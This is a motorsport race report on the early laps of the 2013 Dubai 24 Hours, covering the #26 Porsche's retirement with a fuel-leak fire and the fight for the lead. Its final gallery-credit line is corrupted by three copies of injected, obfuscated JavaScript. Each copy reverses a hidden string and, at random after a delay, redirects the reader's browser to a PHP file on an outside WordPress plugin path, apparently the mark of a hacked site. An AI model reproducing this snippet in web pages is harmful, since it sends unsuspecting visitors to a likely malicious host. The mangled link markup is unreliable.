Thiim would not be so lucky next time round though, a loose moment allowing Hurtgen back into the lead and immediately dropping the #26 car nearly a second behind.
By now the #1 was up-to-speed, and bearing down menacingly, Bleekemolen bringing with him Darren Turner in the #15 Craft Racing AMR Aston Martin Vantage GT3, the #12 Saudi Falcons BMW, and Phil Quaife in the #17 Lapidus Racing McLaren MP4-12C. The Porsche was in trouble.
Trouble would strike just one lap later, the #26 pulling to a standstill in flames courtesy of a fuel leak. Back in the pits, as the Attempto squad shook their heads in disbelief, Nova Race Conquerors mechanics attempted to fire the #150 Ginetta G50 GT4 back into life.
Up front, the gap between the lead trio was closing, Turner several times closing to within striking distance in the Aston Martin, the Black Falcons Mercedes ready to pick up any pieces.
Twenty minutes in, 1420 left to run. The race at Dubai is far from over.
– Shots courtesy of David Benson and Camden Thrasher. Be sure to check out our $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/2013-dubai-24hrs-day-one/” target=”_blank”>full Dubai 24hrs galleries $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/2013-dubai-24hrs-day-one/” target=”_blank”>HERE and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/2013-dubai-24hrs-day-two/” target=”_blank”>HERE.